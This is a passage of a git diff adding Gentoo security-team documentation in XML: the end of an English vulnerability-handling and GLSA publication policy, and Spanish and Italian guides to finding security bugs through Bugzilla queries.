+<li>seed the status whiteboard to the correct severity code and status</li>
+<li>cc package maintainers to the bug according to package metadata</li>
+<li>set the URL field to an upstream bug or similar</li>
+<li>search for reserved or assigned CVE identifier and add it to the bug title, request a CVE otherwise</li>
+<li>optionally assign a GLSA coordinator for the bug, by adding the
+    coordinator name to the status whiteboard</li>
+</ul>
+
+<warn>
+You should not change bug severity once it has been assigned. If you want to
+increase developer awareness that a bug needs care, use the Priority field
+instead.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Timeframe and backup procedures</title>
+<body>
+
+<p>
+This dispatch has to be done quickly after bug creation in order to seed
+short delays for major vulnerabilities and to show appreciation to the bug
+reporter. The target delay is 12 hours. The security bug wrangler has to
+maintain a list of possible GLSA coordinators with availabilities and
+preferred areas of expertise. In order to ensure permanent dispatch, the
+security bug wrangler job should have appropriate back-ups.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Bug correction and GLSA draft</title>
+<section>
+<title>GLSA Coordinator role</title>
+<body>
+
+<p>
+The GLSA coordinator has responsibility for the following tasks:
+</p>
+
+<ul>
+<li>determine what must be done in order to close the vulnerability (for
+    example identify the upstream version containing the fix)</li>
+<li>if no fix is available from upstream yet, ensure that the bug is correctly
+    reported to the upstream developer and set status whiteboard to
+    <c>upstream</c></li>
+<li>if a fix is available, get the package maintainer involved to produce and
+    commit an ebuild containing the fix and set status whiteboard to <c>ebuild</c></li>
+<li>once an ebuild is committed, evaluate what keywords are needed for the fix
+    ebuild and get arch-specific teams to test and mark
+    the ebuild stable on their architectures (arch-teams should be cc'd on
+    the bug, as well as releng during release preparation) and set status 
+    whiteboard to <c>stable</c></li>
+<li>arch-maintainers should mark the ebuild stable if there is no regression
+    in the fix ebuild compared to the latest vulnerable version</li>
+<li>in parallel, writing a draft GLSA using the GLSAMaker tool</li>
+<li>when the corrective ebuild is ready for all supported archs, set the
+    status whiteboard to <c>glsa</c></li>
+</ul>
+
+<note>
+If the bug makes progress and the assigned GLSA coordinator does not react,
+the other members of the security team can help keeping the bug rolling by
+updating its status.
+</note>
+
+</body>
+</section>
+<section>
+<title>Timeframe and escalation procedures</title>
+<body>
+
+<p>
+In order to meet the target delay for vulnerability resolution, a number of
+escalation procedures have been defined. These include:
+</p>
+
+<ul>
+<li>when a bug in a waiting state needs urgent care,
+    you should change the status whiteboard
+    entries to their "+" counterpart: <c>upstream+</c>, <c>ebuild+</c>,
+    <c>stable+</c> and <c>glsa+</c></li>
+<li>if no upstream fix is available (<c>upstream+</c> status), a decision must
+    be taken on masking the
+    package: the security team can mask a package which is not depended on by
+    itself, but need a TLP manager approval before masking a package which is
+    not standalone</li>
+<li>if the maintainer/herd does not show up for producing the ebuild during 48
+    hours after summoning (<c>ebuild+</c> status), the security team should
+    try to bump the ebuild by itself</li>
+<li>if testing and marking stable takes too much time (<c>stable+</c> status),
+    the security team will shout on IRC channels and gentoo-dev list to get
+    more testers. It will either mark the ebuild stable by itself or, in the
+    event this cannot be done due to stability issues, mask it (see security
+    masking approval policy above)</li>
+<li>if the GLSA coordinator does not show up to draft a GLSA (<c>glsa+</c>
+    status), then another member of the security team should draft the GLSA
+    and submit it to peer review</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Good practices for security bugs</title>
+<body>
+
+<p>
+Security bugs differ from other bugs, in that an easy and simple upgrade path
+must be presented to users through the GLSA. Therefore package maintainers and
+GLSA coordinators should follow these good practices:
+</p>
+
+<ul>
+<li>The ebuild including the security fix should have its own version number,
+    so that it gets picked up in the normal system upgrade process: use
+    rev-bumps if needed</li>
+<li>The ebuild including the security fix should have a higher version number
+    than any previously published version, so that an easy upgrade path can
+    be proposed to the user</li>
+<li>In case of a patch, it should only be applied to the more recent version,
+    there is no need to rev-bump all ebuilds with a patched version</li>
+<li>Vulnerable versions should be left in the tree until the bug enters the
+    <c>stable</c> status, in order to correctly evaluate what keywords
+    are needed for the fix version</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Temporary GLSAs</title>
+<body>
+
+<p>
+If a <e>blocker</e> or <e>critical</e> or <e>major</e> vulnerability cannot
+totally be corrected in the target delay,
+an early warning GLSA should be written with workaround information.
+This GLSA will be replaced by the final GLSA when the
+definitive correction is available.
+</p>
+
+<p>
+If a common (type A or B) package is masked for security reasons, a temporary
+GLSA should be issued to explain why the package is currently unavailable
+and/or why people should uninstall the current version. This GLSA will be
+replaced by the final GLSA when the fix becomes available and the package is
+unmasked.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>GLSA publication process</title>
+<section>
+<title>Peer review</title>
+<body>
+
+<p>
+Once ready, a GLSA should be submitted to peer review. At least two members
+of the security team must approve the draft GLSA. Once the draft passes the
+peer review process, it should be assigned an official GLSA number.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA release</title>
+<body>
+
+<p>
+Once the GLSA passes the peer review process (and after making sure the ebuild
+has made its way into the stable tree), the GLSA coordinator should
+commit the GLSA XML in the Gentoo CVS repository.
+Once this is done, the GLSA will automatically appear on the
+<uri link="http://glsa.gentoo.org">official GLSA index page</uri> and
+<uri link="http://www.gentoo.org/rdf/en/glsa-index.rdf">RDF feed</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA publication</title>
+<body>
+
+<p>
+The GLSA text version must be published by the GLSA coordinator to the
+following media:
+</p>
+
+<table>
+<tr> 
+  <ti>Gentoo Linux official announcement mailing-list</ti>
+  <ti>
+  <mail link="gentoo-announce@lists.gentoo.org">gentoo-announce@lists.gentoo.org</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Bugtraq security mailing-list</ti>
+  <ti>
+  <mail link="bugtraq@securityfocus.com">bugtraq@securityfocus.com</mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Full-disclosure security mailing-list</ti>
+  <ti>
+  <mail link="full-disclosure@lists.grok.org.uk">
+  full-disclosure@lists.grok.org.uk
+  </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Linuxsecurity.com advisories service</ti>
+  <ti>
+  <mail link="security-alerts@linuxsecurity.com">
+  security-alerts@linuxsecurity.com
+  </mail>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Linux announcement forum</ti>
+  <ti><uri>http://forums.gentoo.org/viewforum.php?f=16</uri></ti>
+</tr>
+</table>
+
+<p>
+There should be one single email sent, with the following rules:
+</p>
+
+<ul>
+<li>The <c>To:</c> field must be set to gentoo-announce</li>
+<li>The <c>Cc:</c> filed must contain the other email addresses</li>
+<li>The <c>From:</c> and <c>Return-Path:</c> must be set to the GLSA
+    coordinator @gentoo.org address</li>
+<li>The <c>Subject:</c> field must be "[ GLSA XXXXYY-ZZ ] Your vulnerability
+    here"</li>
+<li>The body should only contain the text version of the GLSA</li>
+<li>The email must be signed by the GLSA coordinator GPG key</li>
+</ul>
+
+<note>
+Developer key IDs can be found on the Gentoo Linux
+<uri link="http://www.gentoo.org/proj/en/devrel/roll-call/userinfo.xml">
+Developer list</uri>. All the security team GPG keys are published on public
+key servers, including (but not limited to)
+<uri link="http://subkeys.pgp.net:11371">subkeys.pgp.net</uri>.
+</note>
+
+<note>
+To minimize errors in the publication process, the forum publication step is 
+handled by an automatic poster when it receives the announcement.
+</note>
+
+<p>
+When the GLSA has been published the corresponding bugzilla bug should be
+resolved as FIXED, with the GLSA number referenced in the comments section
+of the bug.
+</p>
+
+</body>
+</section>
+<section>
+<title>GLSA errata</title>
+<body>
+
+<p>
+Sometimes an error will slip through the peer-review process and an incorrect
+GLSA will be published to the world. Depending on the severity of the error(s),
+the following policy for erratum should be applied:
+</p>
+
+<table>
+<tr>
+  <th>GLSA error type</th>
+  <th>Erratum action</th>
+</tr>
+<tr>
+  <ti>Typos: presentation, grammar or syntax errors</ti>
+  <ti>Do nothing</ti>
+</tr>
+<tr>
+  <ti>Error in title: title is about another package or does not
+  describe the vulnerability correctly</ti>
+  <ti>An erratum GLSA should be published, replacing the erroneous one</ti>
+</tr>
+<tr>
+  <ti>Error in description: the problem is not described correctly</ti>
+  <ti>The GLSA XML should be corrected, no publication</ti>
+</tr>
+<tr>
+  <ti>Omission: GLSA is correct but incomplete, you also need to update
+  another package to get protection from that vulnerability</ti>
+  <ti>A separate GLSA should be issued on the other vulnerable package</ti>
+</tr>
+<tr>
+  <ti>Error in affected/unaffected versions number, but people using stable
+  packages and applying GLSA instructions are protected anyway</ti>
+  <ti>The GLSA XML should be corrected, no publication</ti>
+</tr>
+<tr>
+  <ti>Error in affected/unaffected versions number, people applying GLSA
+  instructions are not at all protected</ti>
+  <ti>An erratum GLSA should be published, replacing the erroneous one</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/es/bug-searching.xml b/xml/htdocs/security/es/bug-searching.xml
new file mode 100644
index 00000000..70530b30
--- /dev/null
+++ b/xml/htdocs/security/es/bug-searching.xml
@@ -0,0 +1,128 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/es/bug-searching.xml" lang="es">
+<title>Consejos para buscar y filtrar agujeros de seguridad</title>
+
+<author title="Autor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Traductor">
+  <mail link="krego.gentoo@gmail.com">Carlos Jiménez Pacho</mail>
+</author>
+
+<abstract>
+Este documento da una serie de consejos y pistas para ayudar a filtrar
+agujeros de seguridad.
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Buscando fallos (Bugs)</title>
+<section>
+<title>Todos los fallos de seguridad</title>
+<body>
+
+<p>
+Para identificar todos los fallos relacionados con la seguridad, utilice
+la página de <uri link="http://bugs.gentoo.org/query.cgi">consulta</uri>
+de Bugzilla y rellene los siguientes campos:
+</p>
+
+<ul>
+<li><b>Product:</b> seleccione "Gentoo Security"</li>
+<li><b>Status:</b> rellene con el tipo de fallo que quiera buscar (por
+ejemplo, fallos cerrados, fallos abiertos, etc.)</li>
+</ul>
+<p>
+Ésto le dará una lista de todos los fallos en nuestro sistema
+(o al menos, los que estén correctamente asignados). Puede solicitar la
+consulta para que sólo muestre Vulnerabilidades, cuestiones del Núcleo u otros
+subconjuntos de fallos de Seguridad, ajustando el <b>Componente</b>
+</p>
+</body>
+</section>
+<section>
+<title>"Marca estable" los Agujeros de Seguridad de Arquitectura</title>
+<body>
+
+<p>
+Cuando a un paquete se le ha aplicado un parche de seguridad, éste,
+normalmente debe ser probado antes de ser marcado como estable
+en las arquitecturas afectadas. Para identificar todos los fallos
+de seguridad en los que arquitectura en particular necesita marcar un paquete
+como estable, use la página de <uri link="http://bugs.gentoo.org/query.cgi">
+consultas</uri> y rellene los siguientes campos:
+</p>
+<ul>
+<li><b>Produt:</b> seleccione "Gentoo Security"</li>
+<li><b>Status:</b> ajústelo a"New", "Assigned" y "Reopened" (es decir, no
+busque fallos que han sido cerrados)</li>
+<li><b>Email and Numbering:</b> Cualquiera de: "CC list member" debería
+marcarse a "contains &lt;arch&gt;@gentoo.org"</li>
+</ul>
+<p>
+Cuando un paquete es parcheado y requiere pruebas, el equipo de seguridad
+hará un CC a todas las arquitecturas relevantes de este fallo en concreto, y
+se pedirá que el paquete se pruebe y se marcará como estable en su
+arquitectura. Así, usando los criterios de búsqueda descritos arriba, será
+capaz de encontrar fácilmente qué fallos de seguridad requieren atención para
+una arquitectura en particular.
+</p>
+<impo>
+Para hacer este aviso efectivo, es muy importante que los equipos de las
+arquitecturas recuerden borrarse de la lista CC una estabilizado el paquete.
+</impo>
+<note>
+Para las arquitecturas que no estén mantenidas, los fallos pueden ser cerrados
+sin que el paquete sea marcado como estable en esa arquitectura en particular.
+. De esta forma los desarrolladores para estas arquitecturas puede querer
+incluir fallos cerrados en sus consultas. (Para una explicación de las
+arquitecturas "soportadas" frente a las "no soportadas", por favor, lea la
+<uri link="/security/en/vulnerability-policy.xml">Política de Tratamiento de
+Vulnerabilidades</uri> (en inglés).)
+</note>
+<p>
+Los Architecture Security Liaisons (Enlaces de Seguridad de las
+Arquitecturas) necesitarán consultas adicionales para mostrar fallos que
+requieren su participación. Esos fallos podrían se por ejemplo, fallo
+calificados como <c>SEMI-PUBLIC</c> que necesitan marcarse como estables en
+el árbol, o fallos <c>CONFIDENTIAL</c> que tienen un testing pre-estable en
+Bugzilla únicamente. Para ver una lista de estos fallos, use la página de
+<uri link="https://bugs.gentoo.org/query.cgi">consultas</uri> y rellene los
+siguientes campos:
+</p>
+<ul>
+<li><b>Product:</b> seleccione "Gentoo Security"</li>
+<li><b>Status:</b> ajústelo a "New", "Assigned" y "Reopened" (es decir, no
+busque fallos que han sido cerrados)</li>
+<li><b>Email and Numbering:</b> Cualquiera de: "CC list member" debería
+marcarse a "contains &lt;login&gt;@gentoo.org" donde &lt;login&gt; es el
+usuario de Gentoo username del Liaison</li>
+<li><b>Advanced Searching Using Boolean Charts:</b> "Group" debe marcarse a
+"is equal to" y en el campo de entrada debería mostrarse "Security".</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Consultas a Bugzilla que podrían ser de ayuda</title>
+<body>
+<p>
+Los miembros del Equipo de Seguridad de Gentoo y Padawans se pueden ayudar
+con éstas consultas. Aparte de los falsos positivos, los fallos listados en
+estas consultas necesitan la atención del Equipo de Seguridad.
+</p>
+<ul>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=stable&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailtype1=regexp&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=stale+stable&amp;negate0=1&amp;field0-0-0=cc&amp;type0-0-0=substring&amp;value0-0-0=amd64%40gentoo.org&amp;negate1=1&amp;field1-0-0=cc&amp;type1-0-0=substring&amp;value1-0-0=x86%40gentoo.org&amp;negate2=1&amp;field2-0-0=cc&amp;type2-0-0=substring&amp;value2-0-0=ppc%40gentoo.org&amp;negate3=1&amp;field3-0-0=cc&amp;type3-0-0=substring&amp;value3-0-0=sparc%40gentoo.org&amp;negate4=1&amp;field4-0-0=cc&amp;type4-0-0=substring&amp;value4-0-0=alpha%40gentoo.org&amp;negate5=1&amp;field5-0-0=cc&amp;type5-0-0=substring&amp;value5-0-0=hppa%40gentoo.org&amp;negate6=1&amp;field6-0-0=cc&amp;type6-0-0=substring&amp;value6-0-0=ppc64%40gentoo.org">Estable pasado</uri>, muestra todos los fallos abiertos que tienen "[stable]" en el campo Whiteboard, pero no tiene arquitecturas en CC.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=glsa%3F&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=glsa%3F&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Voto GLSA</uri>, lista todos los fallos que an sido corregidos en el árbol, pero no tiene una decisión del GLSA aún.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=notregexp&amp;status_whiteboard=ebuild|upstream|glsa|masked|stable&amp;keywords_type=nowords&amp;keywords=tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=unhandled&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Fallos no gestionados</uri>, fallos que no tienen un estado conocido en el Whiteboard.</li>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=notregexp&amp;short_desc=CVE&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=nowords&amp;keywords=Tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=no-cve&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Sin CVE</uri>, fallos que no tienen identificador CVE en su título.</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/it/bug-searching.xml b/xml/htdocs/security/it/bug-searching.xml
new file mode 100644
index 00000000..3ec3b1a1
--- /dev/null
+++ b/xml/htdocs/security/it/bug-searching.xml
@@ -0,0 +1,184 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/security/it/bug-searching.xml,v 1.3 2009/10/19 20:47:23 scen Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/security/it/bug-searching.xml" lang="it">
+<title>Suggerimenti per la ricerca e l'identificazione di bug di
+sicurezza</title>
+
+<author title="Autore">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Autore">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+<author title="Traduzione">
+  <mail link="dungeon01@gmail.com">Dungeon01</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questo documento fornisce le linee guida ed i suggerimenti per migliorare
+l'identificazione dei bug inerenti alla sicurezza in bugzilla
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Ricerca dei Bug</title>
+<section>
+<title>Tutti i bug di Sicurezza</title>
+<body>
+
+<p>
+Per identificare tutti i bug inerenti alla sicurezza, utilizzare la <uri
+link="https://bugs.gentoo.org/query.cgi">pagina</uri> di ricerca di bugzilla, ed
+impostare i seguenti campi:
+</p>
+
+<ul>
+  <li><b>Product:</b> selezionare "Vulnerabilities"</li>
+  <li>
+    <b>Status:</b> impostare questo campo con il tipo di bug che si sta cercando
+    (es.: bug chiusi, bug aperti, etc.)
+  </li>
+</ul>
+
+<p>
+Questo vi darà una lista di tutti i bug aperti nel nostro sistema (o almeno
+quelli correttamente assegnati). È possibile impostare la query in modo da
+visualizzare solamente le Vulnerabilità ("Vulnerabilities"), problemi del
+Kernel ("Kernel issues"), o altri sottoinsiemi dei bug di Sicurezza, impostando
+la voce <b>Component</b>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contrassegnare come "stable" i bug per una determinata architettura
+</title>
+<body>
+
+<p>
+Quando ad un pacchetto è stata applicata una patch, solitamente questi deve
+essere testato prima di venir contrassegnato come stabile per le architetture
+interessate. Per identificare tutti i bug dove una architettura necessita di
+contrassegnare un pacchetto come stable, utilizzare la pagina di <uri
+link="https://bugs.gentoo.org/query.cgi">ricerca</uri> e compilare i seguenti
+campi:
+</p>
+
+<ul>
+  <li><b>Product:</b> selezionare "Gentoo Security"</li>
+  <li>
+    <b>Status:</b> impostarlo a "New", "Assigned" o "Reopened" (in pratica: non
+    cercare i bug che sono già stati chiusi)
+  </li>
+  <li>
+    <b>Email and Numbering:</b> Uno qualunque dei campi "CC list member"
+    dovrebbe essere impostato a: "contains &lt;arch&gt;@gentoo.org"
+  </li>
+</ul>
+
+<p>
+Quando un pacchetto viene patchato e richiede di essere testato, il Security
+Team metterà in CC gli staff di tutte le principali architetture relative a quel
+particolare bug e richiederà loro che testino e contrassegnino il pacchetto come
+stabile per l'architettura di loro competenza. Quindi, usando il metodo di
+ricerca descritto precedentemente, sarà possibile vedere facilmente quali bug
+richiedono attenzione per una particolare architettura.
+</p>
+
+<impo>
+Per rendere questo rapporto efficace, è molto importante che i team delle varie
+architetture si ricordino di rimuoversi dalla lista di cc una volta che il
+pacchetto è stato resto stabile.
+</impo>
+
+<note>
+Per architetture non supportate, i bug possono essere chiusi senza che il
+pacchetto venga segnato come stabile per quella particolare architettura.
+Quindi, gli sviluppatori per queste architetture possono voler includere i bug
+chiusi nelle loro interrogazioni  (per meglio comprendere la differenza fra
+"supportato" e "non supportato", si rimanda alla <uri
+link="/security/it/vulnerability-policy.xml"> Politica sul trattamento delle
+Vulnerabilità</uri>,
+</note>
+
+<p>
+I Referenti per la Sicurezza dell'Architettura avranno bisogno di ulteriori
+interrogazioni per individuare i bug che richiedono la loro partecipazione. Tali
+bug potrebbero essere per esempio classificati come <c>SEMI-PUBLIC</c> i quali
+richiedono di essere marcati come stabili nell'albero di Portage, oppure
+classificati come <c>CONFIDENTIAL</c>, i quali hanno una fase di test precedente
+alla stabilizzazione solamente in Bugzilla. Per ottenere una lista di questi
+bug, usare la pagina di <uri
+link="https://bugs.gentoo.org/query.cgi">ricerca</uri> ed impostare i campi
+seguenti:
+</p>
+
+<ul>
+  <li><b>Product:</b> selezionare "Gentoo Security"</li>
+  <li>
+    <b>Status:</b> impostarlo a "New", "Assigned" e "Reopened"  (in pratica: non
+    cercare i bug che sono già stati chiusi)
+  </li>
+  <li>
+    <b>Email and Numbering:</b> Uno qualunque dei campi "CC list member"
+    dovrebbe essere impostato a "contains &lt;login&gt;@gentoo.org" dove
+    &lt;login&gt; è il nome utente Gentoo del Referente.
+  </li>
+  <li>
+    <b>Advanced Searching Using Boolean Charts:</b> "Group" dovrebbe essere
+    impostato a "is equal to" e il campo di input dovrebbe essere valorizzato a
+    "Security"
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Interrogazioni su Bugzilla che potrebbero tornare utili</title>
+<body>
+
+<p>
+I membri del Team di Sicurezza di Gentoo e i Padawan troveranno molto utili le
+seguenti query. Escludendo i falsi positivi, i bug elencati in queste
+interrogazioni richiedono l'attenzione del Team di Sicurezza.
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=stable&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailtype1=regexp&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=stale+stable&amp;negate0=1&amp;field0-0-0=cc&amp;type0-0-0=substring&amp;value0-0-0=amd64%40gentoo.org&amp;negate1=1&amp;field1-0-0=cc&amp;type1-0-0=substring&amp;value1-0-0=x86%40gentoo.org&amp;negate2=1&amp;field2-0-0=cc&amp;type2-0-0=substring&amp;value2-0-0=ppc%40gentoo.org&amp;negate3=1&amp;field3-0-0=cc&amp;type3-0-0=substring&amp;value3-0-0=sparc%40gentoo.org&amp;negate4=1&amp;field4-0-0=cc&amp;type4-0-0=substring&amp;value4-0-0=alpha%40gentoo.org&amp;negate5=1&amp;field5-0-0=cc&amp;type5-0-0=substring&amp;value5-0-0=hppa%40gentoo.org&amp;negate6=1&amp;field6-0-0=cc&amp;type6-0-0=substring&amp;value6-0-0=ppc64%40gentoo.org">
+    Stabilizzazione caduta in prescrizione</uri>, visualizza tutti i bug aperti
+    che hanno "[stable]" nel campo    Whiteboard, ma nessuna architettura in CC.
+  </li>
+  <li>
+    <uri
+    link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=glsa%3F&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=glsa%3F&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+    Voto GLSA</uri>, elenco di bug che sono stati corretti nell'albero di
+    Portage, ma non hanno ancora una decisione GLSA.
+  </li>
+  <li>
+    <uri
+    link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=notregexp&amp;status_whiteboard=ebuild|upstream|glsa|masked|stable&amp;keywords_type=nowords&amp;keywords=tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=unhandled&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+    Bug non gestiti</uri>, bug che sono in uno stato Whiteboard non conosciuto.
+  </li>
+  <li>
+    <uri
+    link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=notregexp&amp;short_desc=CVE&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=nowords&amp;keywords=Tracker&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=no-cve&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+    Nessun CVE</uri>, bug che non includono nessun identificatore CVE nel
+    proprio titolo.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/it/coordinator_guide.xml b/xml/htdocs/security/it/coordinator_guide.xml
new file mode 100644
index 00000000..a4a06bc6
--- /dev/null
+++ b/xml/htdocs/security/it/coordinator_guide.xml
@@ -0,0 +1,1377 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
